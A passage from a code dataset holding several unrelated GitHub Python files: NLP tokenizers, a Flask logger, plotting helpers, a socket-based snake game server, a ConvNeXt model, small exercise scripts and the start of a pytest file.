reasonably well-formed English sentences as input.\n    \"\"\"\n    def __init__(self):\n        # These are certainly incomplete.  But at least it's a start.\n        self.special_cases = set(['mr.', 'mrs.', 'etc.', 'e.g.', 'cf.', 'c.f.', 'eg.', 'al.'])\n        self.contractions = set([\"n't\", \"'s\", \"'ve\", \"'re\", \"'ll\", \"'d\", \"'m\"])\n        self.contractions |= set([x.replace(\"'\", \"’\") for x in self.contractions])\n        self.ending_punctuation = set(['\"', \"'\", '.', ',', ';', ')', ']', '}', ':', '!', '?', '%', '”', \"’\"])\n        self.beginning_punctuation = set(['\"', \"'\", '(', '[', '{', '#', '$', '“', \"‘\"])\n\n    @overrides\n    def split_words(self, sentence: str) -> List[Token]:\n        \"\"\"\n        Splits a sentence into word tokens.  We handle four kinds of things: words with punctuation\n        that should be ignored as a special case (Mr. Mrs., etc.), contractions/genitives (isn't,\n        don't, Matt's), and beginning and ending punctuation (\"antennagate\", (parentheticals), and\n        such.).\n\n        The basic outline is to split on whitespace, then check each of these cases.  First, we\n        strip off beginning punctuation, then strip off ending punctuation, then strip off\n        contractions.  When we strip something off the beginning of a word, we can add it to the\n        list of tokens immediately.  When we strip it off the end, we have to save it to be added\n        to after the word itself has been added.  Before stripping off any part of a token, we\n        first check to be sure the token isn't in our list of special cases.\n        \"\"\"\n        fields = sentence.split()\n        tokens: List[Token] = []\n        for field in fields:\n            add_at_end: List[Token] = []\n            while self._can_split(field) and field[0] in self.beginning_punctuation:\n                tokens.append(Token(field[0]))\n                field = field[1:]\n            while self._can_split(field) and field[-1] in self.ending_punctuation:\n                add_at_end.insert(0, Token(field[-1]))\n                field = field[:-1]\n\n            # There could (rarely) be several contractions in a word, but we check contractions\n            # sequentially, in a random order.  If we've removed one, we need to check again to be\n            # sure there aren't others.\n            remove_contractions = True\n            while remove_contractions:\n                remove_contractions = False\n                for contraction in self.contractions:\n                    if self._can_split(field) and field.lower().endswith(contraction):\n                        add_at_end.insert(0, Token(field[-len(contraction):]))\n                        field = field[:-len(contraction)]\n                        remove_contractions = True\n            if field:\n                tokens.append(Token(field))\n            tokens.extend(add_at_end)\n        return tokens\n\n    def _can_split(self, token: str):\n        return token and token.lower() not in self.special_cases\n\n\n@WordSplitter.register('letters_digits')\nclass LettersDigitsWordSplitter(WordSplitter):\n    \"\"\"\n    A ``WordSplitter`` which keeps runs of (unicode) letters and runs of digits together, while\n    every other non-whitespace character becomes a separate word.\n    \"\"\"\n    @overrides\n    def split_words(self, sentence: str) -> List[Token]:\n        # We use the [^\\W\\d_] pattern as a trick to match unicode letters\n        tokens = [Token(m.group(), idx=m.start())\n                  for m in re.finditer(r'[^\\W\\d_]+|\\d+|\\S', sentence)]\n        return tokens\n\n\n@WordSplitter.register('just_spaces')\nclass JustSpacesWordSplitter(WordSplitter):\n    \"\"\"\n    A ``WordSplitter`` that assumes you've already done your own tokenization somehow and have\n    separated the tokens by spaces.  We just split the input string on whitespace and return the\n    resulting list.  We use a somewhat odd name here to avoid coming too close to the more\n    commonly used ``SpacyWordSplitter``.\n\n    Note that we use ``sentence.split()``, which means that the amount of whitespace between the\n    tokens does not matter.  This will never result in spaces being included as tokens.\n    \"\"\"\n    @overrides\n    def split_words(self, sentence: str) -> List[Token]:\n        return [Token(t) for t in sentence.split()]\n\n\ndef _remove_spaces(tokens: List[spacy.tokens.Token]) -> List[spacy.tokens.Token]:\n    return [token for token in tokens if not token.is_space]\n\n\nclass WhitespaceTokenizer:\n    \"\"\"\n    Spacy doesn't assume that text is tokenised. Sometimes this\n    is annoying, like when you have gold data which is pre-tokenised,\n    but Spacy's tokenisation doesn't match the gold. This can be used\n    as follows:\n    nlp = spacy.load(\"en_core_web_md\")\n    # hack to replace tokenizer with a whitespace tokenizer\n    nlp.tokenizer = WhitespaceTokenizer(nlp.vocab)\n    ... use nlp(\"here is some text\") as normal.\n    \"\"\"\n    def __init__(self, vocab):\n        self.vocab = vocab\n\n    def __call__(self, text):\n        words = text.split(' ')\n        spaces = [True] * len(words)\n        return Doc(self.vocab, words=words, spaces=spaces)\n\n\n@WordSplitter.register('spacy')\nclass SpacyWordSplitter(WordSplitter):\n    \"\"\"\n    A ``WordSplitter`` that uses spaCy's tokenizer.  It's fast and reasonable - this is the\n    recommended ``WordSplitter``. By default it will return allennlp Tokens,\n    which are small, efficient NamedTuples (and are serializable). If you want\n    to keep the original spaCy tokens, pass keep_spacy_tokens=True.\n    \"\"\"\n    def __init__(self,\n                 language: str = 'en_core_web_sm',\n                 pos_tags: bool = False,\n                 parse: bool = False,\n                 ner: bool = False,\n                 keep_spacy_tokens: bool = False,\n                 split_on_spaces: bool = False) -> None:\n        self.spacy = get_spacy_model(language, pos_tags, parse, ner)\n        if split_on_spaces:\n            self.spacy.tokenizer = WhitespaceTokenizer(self.spacy.vocab)\n\n        self._keep_spacy_tokens = keep_spacy_tokens\n\n    def _sanitize(self, tokens: List[spacy.tokens.Token]) -> List[Token]:\n        \"\"\"\n        Converts spaCy tokens to allennlp tokens. Is a no-op if\n        keep_spacy_tokens is True\n        \"\"\"\n        if self._keep_spacy_tokens:\n            return tokens\n        else:\n            return [Token(token.text,\n                          token.idx,\n                          token.lemma_,\n                          token.pos_,\n                          token.tag_,\n                          token.dep_,\n                          token.ent_type_) for token in tokens]\n\n    @overrides\n    def batch_split_words(self, sentences: List[str]) -> List[List[Token]]:\n        return [self._sanitize(_remove_spaces(tokens))\n                for tokens in self.spacy.pipe(sentences, n_threads=-1)]\n\n    @overrides\n    def split_words(self, sentence: str) -> List[Token]:\n        # This works because our Token class matches spacy's.\n        return self._sanitize(_remove_spaces(self.spacy(sentence)))\n\n\n@WordSplitter.register('openai')\nclass OpenAISplitter(WordSplitter):\n    \"\"\"\n    For OpenAI transformer\n    \"\"\"\n    def __init__(self, language: str = 'en_core_web_sm') -> None:\n        self.spacy = get_spacy_model(language, False, False, False)\n\n    @staticmethod\n    def _standardize(text):\n        return text_standardize(ftfy.fix_text(text))\n\n    @overrides\n    def batch_split_words(self, sentences: List[str]) -> List[List[Token]]:\n        standardized_sentences = [self._standardize(sentence) for sentence in sentences]\n        return [_remove_spaces(tokens)\n                for tokens in self.spacy.pipe(standardized_sentences, n_threads=-1)]\n\n    @overrides\n    def split_words(self, sentence: str) -> List[Token]:\n        # This works because our Token class matches spacy's.\n        return _remove_spaces(self.spacy(self._standardize(sentence)))\n\n\n@WordSplitter.register(\"bert-basic\")\nclass BertBasicWordSplitter(WordSplitter):\n    \"\"\"\n    The ``BasicWordSplitter`` from the BERT implementation.\n    This is used to split a sentence into words.\n    Then the ``BertTokenIndexer`` converts each word into wordpieces.\n    \"\"\"\n    def __init__(self,\n                 do_lower_case: bool = True,\n                 never_split: Optional[List[str]] = None) -> None:\n        if never_split is None:\n            # Let BertTokenizer use its default\n            self.basic_tokenizer = BertTokenizer(do_lower_case)\n        else:\n            self.basic_tokenizer = BertTokenizer(do_lower_case, never_split)\n\n    @overrides\n    def split_words(self, sentence: str) -> List[Token]:\n        return [Token(text) for text in self.basic_tokenizer.tokenize(sentence)]\n","repo_name":"dair-iitd/openie6","sub_path":"imojie/allennlp/allennlp/data/tokenizers/word_splitter.py","file_name":"word_splitter.py","file_ext":"py","file_size_in_byte":10575,"program_lang":"python","lang":"en","doc_type":"code","stars":113,"dataset":"github-code","pt":"22"}
+{"seq_id":"27551892315","text":"import os\nfrom pyscheduler.scheduler import InvalidScheduleException\nimport sys\nimport getopt\nimport logging\nfrom .parser import parse\n\n\ndef usage():\n    \"\"\"Help documentation\"\"\"\n    print(\n        f\"\\nusage: routes_finder [-v] [-h] [--verbose] [--help] \"\n        f\"[--input=<Input-File>]\"\n        f\"\\nOptions:\\n\"\n        f\"\\t-v, --verbose\\t\\tVerbose\\n\"\n        f\"\\t-h, --help\\t\\tHelp\\n\"\n        f\"\\t--input\\t\\t\\tFilename\\n\"\n        f\"\\nArguments:\\n\"\n        f\"\\tInput-File: Text file containing the origin & destination input (Default: tests/input/sameday.txt).\\n\"\n    )\n\n\ndef main():\n    \"\"\"\"\"\"\n    # Check the user CLI input matches correct syntax\n    try:\n        # Specify the valid CLI options/arguments\n        opts, _ = getopt.getopt(\n            sys.argv[1:],\n            \"hv\",\n            [\n                \"help\",\n                \"verbose\",\n                \"input=\",\n            ],\n        )\n    except getopt.GetoptError as err:\n        logging.error(str(err))\n        usage()\n        sys.exit(2)\n\n    # Define input arguments and initialize default values.\n    input_file = \"tests/input/sameday.txt\"\n\n    # Loop through all the User CLI options/arguments\n    for opt, arg in opts:\n        if opt in (\"-h\", \"--help\"):\n            usage()\n            sys.exit()\n        elif opt in (\"-v\", \"--verbose\"):\n            logging.basicConfig()\n            logging.getLogger().setLevel(logging.DEBUG)\n        elif opt == \"--input\":\n            input_file = arg\n\n            if not os.path.exists(input_file):\n                sys.exit(\"Could not find input file\")\n\n    try:\n        print(parse(input_file))\n    except InvalidScheduleException:\n        # Invalid schedule given\n        sys.exit(2)\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"crsiebler/WarehouseScheduler","sub_path":"pyscheduler/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":1739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"26754850779","text":"# 日志配置\nimport re\nimport os\nimport logging\nfrom logging.handlers import TimedRotatingFileHandler\n\n\nclass FileLogger:\n    def __init__(self):\n        self.app = None\n\n    def init_app(self, app):\n        self.app = app\n        log_file = app.config['LOG_FILE'] or os.path.join(\n            app.root_path, 'logs/app.log')\n        if not os.path.exists(os.path.dirname(log_file)):\n            os.makedirs(os.path.dirname(log_file))\n        formatter = logging.Formatter(app.config['LOG_FORMAT'])\n        file_handler = TimedRotatingFileHandler(\n            log_file, when=\"D\", interval=1, backupCount=10)\n        file_handler.setFormatter(formatter)\n        app.logger.setLevel(app.config['LOG_LEVEL'])\n        app.logger.addHandler(file_handler)\n\n\nfile_logger = FileLogger()\n","repo_name":"mjhxyz/flask-api-scaffolding","sub_path":"app/utils/logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":780,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"20561962287","text":"import cv2,cv,numpy as np\nimport os\n\nfeatsPerPict = 10\nnPokes = 151\ninDir = '../sample/bulbapedia_resized/'\n\ndef detectFromArray(pictArr):\n    sift = cv2.SIFT(nfeatures = featsPerPict)\n    kps,descs = ([],[])\n    for img in pictArr:\n        kp, des = sift.detectAndCompute(img,None)\n        kps = kps + kp\n        descs = descs + des\n    return kps,descs\n\ndef predictFromDescs(kps,testIm):\n    return None\n\n# Behold my gloriously shitty python string parsing abilities! #swag\ndef parsePoke(str):\n    pokeNum = str[8:11]\n    hyph = pokeNum.find('-')\n    if hyph == -1:\n        return(int(pokeNum))\n    else:\n        return(int(pokeNum[0:hyph]))\n    \ndef getPokes():\n    pokes = dict()\n    for i in range(0,nPokes):\n        pokes[i] = []\n    dirList = os.listdir(inDir)\n    for i in range(0,len(dirList)):\n        poke = parsePoke(dirList[i])\n        pokes[poke-1] = pokes[poke-1] + [cv2.imread(inDir+dirList[i])]\n    return pokes\n    \ndef main(path):\n    pokes = getPokes()\n    ","repo_name":"jayluan/pokedex","sub_path":"src/SIFTclassify.py","file_name":"SIFTclassify.py","file_ext":"py","file_size_in_byte":977,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"7674118569","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n__author__ = \"Christian Heider Nielsen\"\n__doc__ = r\"\"\"\n\n           Created on 26-01-2021\n           \"\"\"\n\nfrom enum import Enum\nfrom typing import Tuple\n\nimport numpy\nfrom matplotlib import patheffects, pyplot\n\n__all__ = [\n    \"plot_median_labels\",\n    \"show_values_on_bars\",\n    \"VisualisationErrorStyle\",\n]\n\nfrom draugr.visualisation.matplotlib_utilities.styles.annotation import (\n    semi_opaque_round_tight_bbox,\n)\n\n\nclass VisualisationErrorStyle(Enum):\n    \"\"\"defines the style of the error bars\"\"\"\n\n    band = \"band\"\n    bar = \"bars\"\n\n\ndef plot_median_labels(\n    ax: pyplot.Axes,\n    *,\n    has_fliers: bool = False,\n    # text_size: int = 10,\n    # text_weight: str = \"normal\",\n    stroke_width: int = 0,\n    precision: int = 3,\n    color: str = \"black\",\n    edgecolor: str = \"black\",  # also the stroke color\n    ha: str = \"center\",\n    va: str = \"center\",  # bottom\n    bbox: Tuple = semi_opaque_round_tight_bbox,\n) -> None:\n    \"\"\"plots the median value of the distribution on the plot\"\"\"\n    lines = ax.get_lines()\n    # depending on fliers, toggle between 5 and 6 lines per box\n    lines_per_box = 5 + int(has_fliers)\n    # iterate directly over all median lines, with an interval of lines_per_box\n    # this enables labeling of grouped data without relying on tick positions\n    for median_line in lines[4 : len(lines) : lines_per_box]:\n        # get center of median line\n        mean_x = sum(median_line._x) / len(median_line._x)\n        mean_y = sum(median_line._y) / len(median_line._y)\n\n        text = ax.text(\n            mean_x,\n            mean_y,\n            f\"{round(mean_y, precision)}\",\n            ha=ha,\n            va=va,\n            # fontweight=text_weight,\n            # size=text_size,\n            color=color,\n            # edgecolor=edgecolor\n            bbox=bbox,\n        )  # print text to center coordinates\n\n        if stroke_width:\n            # create small black border around white text\n            # for better readability on multi-colored boxes\n            text.set_path_effects(\n                [\n                    patheffects.Stroke(linewidth=stroke_width, foreground=edgecolor),\n                    patheffects.Normal(),\n                ]\n            )\n\n\ndef show_values_on_bars(axs: pyplot.Axes, h_v: str = \"v\", space: float = 0.4) -> None:\n    \"\"\"show values on top of bars in a bar plot\"\"\"\n\n    def _show_on_single_plot(ax):\n        if h_v == \"v\":\n            for p in ax.patches:\n                _x = p.get_x() + p.get_width() / 2\n                _y = p.get_y() + p.get_height()\n                value = int(p.get_height())\n                ax.text(_x, _y, value, ha=\"center\")\n        elif h_v == \"h\":\n            for p in ax.patches:\n                _x = p.get_x() + p.get_width() + float(space)\n                _y = p.get_y() + p.get_height()\n                value = int(p.get_width())\n                ax.text(_x, _y, value, ha=\"left\")\n\n    if isinstance(axs, numpy.ndarray):\n        for idx, ax in numpy.ndenumerate(axs):\n            _show_on_single_plot(ax)\n    else:\n        _show_on_single_plot(axs)\n","repo_name":"cnheider/draugr","sub_path":"draugr/visualisation/seaborn_utilities/seaborn_enums.py","file_name":"seaborn_enums.py","file_ext":"py","file_size_in_byte":3107,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"22"}
+{"seq_id":"201992507","text":"#coding:utf-8\n\nimport os\nimport tkinter.filedialog\nimport pandas as pd\nfrom datetime import datetime\n\n\npath = tkinter.filedialog.askopenfilenames()\ntime_obj = datetime.now()\ntime_str = time_obj.strftime(\"%Y-%m-%d_%H%M%S\")\nlist_drop_frame = []\nfor csv_file in path:\n    df = pd.read_csv(csv_file)\n    drop_frame = df.loc[(df[\"#dropped\"] > 0)]\n    for index, row in drop_frame.iterrows():\n        list_drop_frame.append([csv_file, row['duration'], row['#dropped'] ])\ndf_drop_frame = pd.DataFrame(list_drop_frame, columns =['File', 'Time', 'Drop Frame'])\n\ndf_drop_frame.to_csv(time_str + '_export_data.csv')\n","repo_name":"MartinCarufel/PycharmProjects","sub_path":"Data_analyser_USB_Stress_test/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"69888077175","text":"import pygame\nimport socket, pickle\nimport select\nimport threading\nimport time\nimport signal\nimport os\n\nfrom snake.model.Snake import Snake\nfrom snake.model.GameBoard import GameBoard\nfrom snake.controle.GameManeger import GameManeger\nstart = time.time()\ntry:\n    pygame.init()\nexcept:\n    print(\"Não foi possivel iniciar o pygame\")\n\ngameSurface = pygame.Surface((GameBoard.width, GameBoard.height))\nmanager = GameManeger(gameSurface)\ngameSurface.fill((9, 10, 13))\n\nport = 15000\naddress = \"127.0.0.1\"\n\ninputs = []\noutputs = []\nclientsThreads = []\nupdateClients = False\ndata = []\nnewDataFromClients = False\nrequireClient = {}\nmutex = threading.Lock()\ndoingLogicOfGame = 0\ndoingIO = 0\nclientesConectados = 0\ndef interuptionHandler(sig_number, sig_stack):\n    print(\"Servidor Encerrado\")\n    print(\"Tempo ativo:\", (time.time() - start))\n    print(\"Tempo gasto com o processamento da logica do jogo:\", doingLogicOfGame, \"segundos.\")\n    print(\"Tempo gasto com o processamento da I/O do jogo:\", doingIO, \"segundos.\")\n    print(\"cliente conectados:\", clientesConectados)\n    os.kill(os.getpid(), signal.SIGKILL)\n    thread_food.join()\n\nsignal.signal(signal.SIGINT, interuptionHandler)\n\ndef clientInput(clientSocket):\n    global data\n    global requireClient\n    global newClient\n    global newDataFromClients\n    global outputs\n    global doingIO\n    clientConnect = True\n\n    while clientConnect:\n        try:\n            readable, writable, errs = select.select([clientSocket], [], [])\n            for socks in readable:\n                #star_time = time.time()\n                data = socks.recv(4096)\n                #doingIO += (time.time() - star_time)\n            if data:\n                requireClient_local = pickle.loads(data)\n                #Verifica se o cliente fechou a tela do jogo\n                if requireClient_local[\"id\"] != None and requireClient_local[\"key\"] == None:\n                    clientConnect = False\n                mutex.acquire()\n                requireClient = {\"socketClient\": clientSocket, \"clientData\": requireClient_local}\n                newDataFromClients = True\n                mutex.release()\n            else:\n                print(\"enceraa\")\n                clientConnect = False\n            # print(\"data lenght:\", len(data))\n        except ValueError:\n            clientConnect = False\n        except OSError:\n            clientConnect = False\n    print(\"Thread encerrada!\")\n\ndef gen_food():\n    global activeThreads\n    global doingLogicOfGame\n    while True:\n        if len(outputs) > 0:\n            time.sleep(5)\n            star_time = time.time()\n            manager.addFoodInGame()\n            doingLogicOfGame += (time.time() - star_time)\n\nthread_food = threading.Thread(target=gen_food, args=())\nthread_food.start()\n\nwith socket.socket(socket.AF_INET, socket.SOCK_STREAM) as socketServer:\n    socketServer.setblocking(False)\n    socketServer.bind(('', port))\n    socketServer.listen()\n    inputs.append(socketServer)\n\n    while True:\n        newClient, writable, erros = select.select([socketServer], outputs, [])\n\n        for socket in newClient:\n            try:\n                conn, info = socket.accept()\n                conn.setblocking(False)\n                outputs.append(conn)\n                t = threading.Thread(target=clientInput, args=([conn]))\n                t.start()\n                clientesConectados += 1\n            except BlockingIOError:\n                print(\"no connections!\")\n\n        if newDataFromClients:\n            star_time = time.time()\n            if data:\n                print(\"Client:\", requireClient[\"clientData\"][\"id\"], \"send data!\")\n                if requireClient[\"clientData\"][\"id\"] == None:\n                    newSnake = Snake()\n                    idPlayer = manager.addSnakeInGame(newSnake)\n                    requireClient[\"socketClient\"].sendall(pickle.dumps({\"id\": idPlayer}))\n                else:\n                    if requireClient[\"clientData\"][\"key\"] != None:\n                        manager.userCommand(requireClient[\"clientData\"][\"key\"], requireClient[\"clientData\"][\"id\"])\n                        manager.moveSnakes()\n                        if manager.snakeDie(requireClient[\"clientData\"][\"id\"]):\n                            start_io = time.time()\n                            requireClient[\"socketClient\"].sendall(pickle.dumps({\"snakeStillInGame\": False}))\n                            doingIO += (time.time() - start_io)\n                        else:\n                            manager.checksAllSnakeEatFood()\n                    else:\n                        manager.romoveSnakeOnGame(requireClient[\"clientData\"][\"id\"])\n                        outputs.remove(requireClient[\"socketClient\"])\n                        writable.remove(requireClient[\"socketClient\"])\n                        requireClient[\"socketClient\"].close()\n                doingLogicOfGame += (time.time() - star_time)\n                updateClients = True\n                newDataFromClients = False\n        # Envia para os usuarios a tela do jogo atualizada.\n        if updateClients:\n            start_io = time.time()\n            for sockets in writable:\n                sockets.sendall(pickle.dumps({\"snakes\": manager.snakesToSend(), \"foods\": manager.foodToSend(), \"snakeStillInGame\": True}))\n            doingIO += (time.time() - start_io)\n            updateClients = False\n            #r, w, err = select.select(inputs, [], [], 0.1)\n\n        if (time.time() - start) > 60.0:\n            print(\"Servidor Encerrado\")\n            print(\"Tempo ativo:\", (time.time() - start))\n            print(\"Tempo gasto com o processamento da logica do jogo:\", doingLogicOfGame, \"segundos.\")\n            print(\"Tempo gasto com o processamento da I/O do jogo:\", doingIO, \"segundos.\")\n            print(\"cliente conectados:\", clientesConectados)\n            os.kill(os.getpid(), signal.SIGKILL)\n            thread_food.join()","repo_name":"AbraaoLincoln/snakeMultiplay","sub_path":"servers_com_tempos/server2.py","file_name":"server2.py","file_ext":"py","file_size_in_byte":5889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"10772885416","text":"def solution(a, b):\n    # Python program to add two binary numbers.\n\n    # Driver code\n    # Declaring the variables\n    a = \"1101\"\n    b = \"100\"\n    max_len = max(len(a), len(b))\n    a = a.zfill(max_len)\n    b = b.zfill(max_len)\n\n    # Initialize the result\n    result = ''\n\n    # Initialize the carry\n    carry = 0\n\n    # Traverse the string\n    for i in range(max_len - 1, -1, -1):\n        r = carry\n        r += 1 if a[i] == '1' else 0\n        r += 1 if b[i] == '1' else 0\n        result = ('1' if r % 2 == 1 else '0') + result\n\n        # Compute the carry.\n        carry = 0 if r < 2 else 1\n\n    if carry != 0:\n        result = '1' + result\n\n    return (result.zfill(max_len))\n\n\nprint(solution(\"11\", \"1\"))","repo_name":"GauravRasal07/ds_and_algo","sub_path":"Python/add_binary.py","file_name":"add_binary.py","file_ext":"py","file_size_in_byte":710,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"}
+{"seq_id":"15382684793","text":"import torch\nimport torch.nn as nn\nfrom model.utils.droppath import DropPath\nimport math\nimport torch.nn.functional as F\n\n\nclass Block(nn.Module):\n    def __init__(self, in_channel, drop_path=0., layer_scale_init_value=1e-6):\n        super().__init__()\n        self.dwconv = nn.Conv2d(in_channel, in_channel, kernel_size=7, padding=3, groups=in_channel, bias=False)\n        self.norm = LayerNorm(in_channel, eps=1e-6)\n        self.pwconv1 = nn.Linear(in_channel, 4 * in_channel)\n        self.act = nn.GELU()\n        self.pwconv2 = nn.Linear(4 * in_channel, in_channel)\n        self.gamma = nn.Parameter(layer_scale_init_value * torch.ones((in_channel)),\n                                  requires_grad=True) if layer_scale_init_value > 0 else None\n        self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity()\n\n    def forward(self, x):\n        input = x\n        x = self.dwconv(x)\n        x = x.permute(0, 2, 3, 1)  # (N, C, H, W) -> (N, H, W, C)\n        x = self.norm(x)\n        x = self.pwconv1(x)\n        x = self.act(x)\n        x = self.pwconv2(x)\n        if self.gamma is not None:\n            x = self.gamma * x\n        x = x.permute(0, 3, 1, 2)  # (N, H, W, C) -> (N, C, H, W)\n\n        x = input + self.drop_path(x)\n        return x\n\n\nclass LayerNorm(nn.Module):\n    def __init__(self, normalized_shape, eps=1e-6, data_format=\"channels_last\"):\n        super().__init__()\n        self.weight = nn.Parameter(torch.ones(normalized_shape))\n        self.bias = nn.Parameter(torch.zeros(normalized_shape))\n        self.eps = eps\n        self.data_format = data_format\n        if self.data_format not in [\"channels_last\", \"channels_first\"]:\n            raise NotImplementedError\n        self.normalized_shape = (normalized_shape,)\n\n    def forward(self, x):\n        if self.data_format == \"channels_last\":\n            return F.layer_norm(x, self.normalized_shape, self.weight, self.bias, self.eps)\n        elif self.data_format == \"channels_first\":\n            u = x.mean(1, keepdim=True)\n            s = (x - u).pow(2).mean(1, keepdim=True)\n            x = (x - u) / torch.sqrt(s + self.eps)\n            x = self.weight[:, None, None] * x + self.bias[:, None, None]\n            return x\n\n\nclass ConvNeXt(nn.Module):\n    # ConvNeXt-T     : [3, 3, 9, 3]     Channel : [96, 192, 384, 768]\n    # ConvNeXt-S     : [3, 3, 27, 3]    Channel : [96, 192, 384, 768]\n    # ConvNeXt-B     : [3, 3, 27, 3]    Channel : [128, 256, 512, 1024]\n    # ConvNeXt-L     : [3, 3, 27, 3]    Channel : [192, 384, 768, 1536]\n    # ConvNeXt-XL    : [3, 3, 27, 3]    Channel : [256, 512, 1024, 2048]\n    def __init__(self, version, num_classes=1000):\n        super(ConvNeXt, self).__init__()\n\n        self.model_name = 'ConvNeXt_{}'.format(version)\n\n        # ResNet의 기본 구성\n        blocks = {'T': (3, 3, 9, 3),\n                  'S': (3, 3, 27, 3),\n                  'B': (3, 3, 27, 3),\n                  'L': (3, 3, 27, 3),\n                  'XL': (3, 3, 27, 3)}\n\n        channels = {'T': (96, 192, 384, 768),\n                    'S': (96, 192, 384, 768),\n                    'B': (128, 256, 512, 1024),\n                    'L': (192, 384, 768, 1536),\n                    'XL': (256, 512, 1024, 2048)}\n        drop_path_rate = {'T': 0.1,\n                          'S': 0.4,\n                          'B': 0.5,\n                          'L': 0.5,\n                          'XL': 0.5}\n\n        in_channel = 3\n\n        self.downsample_layers = nn.ModuleList()\n        # stem Stage\n        stem = nn.Sequential(nn.Conv2d(in_channel, channels[version][0], kernel_size=4, stride=4, bias=False),\n                             LayerNorm(channels[version][0], eps=1e-6, data_format=\"channels_first\"))\n        self.downsample_layers.append(stem)\n\n        # Downsampling Stage Between stem, res2, res3, res4, res5\n        for i in range(3):\n            downsample_layer = nn.Sequential(\n                LayerNorm(channels[version][i], eps=1e-6, data_format=\"channels_first\"),\n                nn.Conv2d(channels[version][i], channels[version][i + 1], kernel_size=2, stride=2, bias=False),\n            )\n            self.downsample_layers.append(downsample_layer)\n\n        self.stages = nn.ModuleList()\n        dp_rates = drop_path_rate[version]\n        for i in range(4):\n            stage = nn.Sequential(\n                *[Block(channels[version][i], drop_path=dp_rates,\n                        layer_scale_init_value=1e-6) for j in range(blocks[version][i])]\n            )\n            self.stages.append(stage)\n\n        # Final Stage\n        self.norm = nn.LayerNorm(channels[version][-1], eps=1e-6)\n        self.head = nn.Linear(channels[version][-1], num_classes)\n\n        # Initialize Weight\n        for m in self.modules():\n            if isinstance(m, nn.Conv2d):\n                n = m.kernel_size[0] * m.kernel_size[1] * m.out_channels\n                m.weight.data.normal_(0, math.sqrt(2. / n))\n            elif isinstance(m, nn.BatchNorm2d):\n                m.weight.data.fill_(1)\n                m.bias.data.zero_()\n\n    def get_name(self):\n        return self.model_name\n\n    def forward_features(self, x):\n        for i in range(4):\n            x = self.downsample_layers[i](x)\n            x = self.stages[i](x)\n        return self.norm(x.mean([-2, -1]))  # global average pooling, (N, C, H, W) -> (N, C)\n\n    def forward(self, x):\n        x = self.forward_features(x)\n        x = self.head(x)\n        return x\n\n\ndef convnext(version, classes, pretrained=False, pretrained_path=None):\n    model = ConvNeXt(version=version, num_classes=classes)\n    if pretrained:\n        model.load_state_dict(torch.load(pretrained_path)['state_dict'])\n    return model\n","repo_name":"slayellow/Image_Classifier","sub_path":"model/convnext.py","file_name":"convnext.py","file_ext":"py","file_size_in_byte":5660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"32737658170","text":"\r\nimport datetime\r\nfrom datetime import datetime\r\n\r\ndef how_many_days_until_my_birthday():\r\n\r\n    today = datetime.now()\r\n    birthday = input(\"Please enter your birthday (YYYY-M-D): \")\r\n    dt = datetime.strptime(birthday, '%Y-%m-%d')\r\n    \r\n    strp_today = today.strftime(\"%j\")\r\n    strp_dt = dt.strftime(\"%j\")\r\n\r\n\r\n\r\n    total = int(strp_dt) - int(strp_today)\r\n    str_total = str(total)\r\n    if total < 0:\r\n        print(\"You have gone back in time! Please enter a current or future date.\")\r\n        how_many_days_until_my_birthday()\r\n    elif str_total == \"0\":\r\n        print(\"Happy Birthday!\")    \r\n    elif str_total == \"1\":\r\n        print(f\"There is {str_total} day until your birthday\")\r\n    else:\r\n        print(f\"There are {str_total} days until your birthday\")\r\nhow_many_days_until_my_birthday()    \r\n\r\n    # x = datetime.datetime.now()\r\n    # y = datetime.datetime(2022, 12, 1)\r\n\r\n    # today = x.strftime(\"%j\")\r\n    # birthday = y.strftime(\"%j\") \r\n\r\n    # total = int(today) - int(birthday)\r\n\r\n    # print(abs(total))\r\n\r\n# birthday = input(\"\")\r\n# dt = datetime.strptime(birthday, '%Y-%m-%d')\r\n# print(dt)\r\n","repo_name":"mz106/Codenation-Develop","sub_path":"days_until_birthday.py","file_name":"days_until_birthday.py","file_ext":"py","file_size_in_byte":1121,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"15822077292","text":"#!/usr/bin/env python3\nimport argparse\nimport os\n\nimport pytest\n\nfrom batchren import bren, helper\nparser = bren.parser\n\n\"\"\"Tests for batchren.bren written with pytest.\n\nPerforms tests for the following:\n- check_optional\n- expand_dir\n- validate_ext\n- validate_esc\n- parser arguments\n- parser custom actions\n\npytest: http://doc.pytest.org/en/latest/contents.html\n\nSome tests utilize the tmp_path_factory fixture, which is a pathlib object.\nDetails here: https://docs.python.org/3/library/pathlib.html\n\"\"\"\n\n\n@pytest.fixture\ndef directory(tmp_path_factory):\n    fs = {\n        \"dir\": [\"filea\", \"fileb\", \"filec\", \"file01\"],\n        \"dir/subdir\": [\"filea\", \"fileb\", \"filec\"]\n    }\n    dir_ = tmp_path_factory.mktemp(\"\")\n    for key, val in fs.items():\n        d_ = dir_ / key\n        d_.mkdir()\n        for v in val:\n            f = d_ / v\n            f.write_text(v)\n\n    return dir_\n\n\n@pytest.mark.parametrize(\"esc_path, esc_arg, esc_res\", [\n    (\"file*\", \"*\", \"file[*]\"),\n    (\"file?\", \"?\", \"file[?]\"),\n    (\"file[720]\", \"[]\", \"file[[]720]\"),\n    (\"file[720]\", \"[\", \"file[[]720]\"),\n    (\"file[720]\", \"]\", \"file[[]720]\")\n])\ndef test_escape_path(esc_path, esc_arg, esc_res):\n    \"\"\"Test escaping of special characters in path argument \"\"\"\n    